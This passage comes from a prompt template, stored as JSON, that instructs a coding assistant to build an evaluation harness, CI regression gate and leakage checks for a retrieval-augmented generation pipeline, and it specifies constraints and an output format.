set, same corpus snapshot, same {{TOP_K}} unless top-k is the change; full re-embed for embedding changes\n - Paired per-case comparison against the current configuration, per tag, with token, latency, and cost deltas\n - Stage-tag every failure: not retrieved, ranked below k, in context but ignored, unsupported claim, wrong citation, should have refused\n\n7. CI gate\n - Commit the accepted run as a baseline (separate commit, with the pins it came from)\n - Per-metric floor and tolerance: recall@k, MRR, faithfulness, citation validity, correct-refusal rate; budgets from {{BUDGETS}} for p95 latency and cost per query\n - Deterministic retrieval and citation-validity metrics block now; calibrated judge metrics block once step 5 passes\n - Path-filter the job on retrieval, ingest, prompt, model config, and eval code; write a results file with pins and a short Markdown summary; exit non-zero on regression\n\n8. Leakage checks\n - Confirm no golden question or reference answer appears in prompts, few-shot examples, fine-tuning data, or re-ranker or embedder training data; add a test that fails if one does\n\nConstraints:\n- Minimal diff. Don't change retrieval or prompt behaviour unless {{CHANGE}} asks for it; report findings instead.\n- Don't edit the golden set, labels, or baseline in the same commit as a retrieval, prompt, or model change.\n- Don't invent scores, labels, or corpus contents. Use placeholders and state assumptions.\n- Don't put real customer data, PHI, or secrets in fixtures, logs, or reports.\n- Optimize for GitHub Copilot, Claude Code, and Codex: give concrete diffs and a checklist.\n- Leave index migrations and model swaps as follow-up notes unless they are {{CHANGE}}.\n\nOutput format:\n1. Pipeline summary with pins and unpinned items\n2. Golden set report: case counts per tag, no-answer share, held-out size, flagged cases\n3. Metrics table: metric | baseline | candidate | delta | per-tag notes (retrieval, generation, refusal, cost, latency)\n4. Judge calibration table (if used): metric | precision | recall | kappa | blocking yes/no\n5. Stage-tagged failure table: case id | stage | evidence | suggested fix\n6. Patch (eval harness, metrics, gate config, CI wiring, leakage test) plus follow-ups\n\nStart from {{APP_PATH}}. Score the retriever on its own before judging any answer.\n" } ] }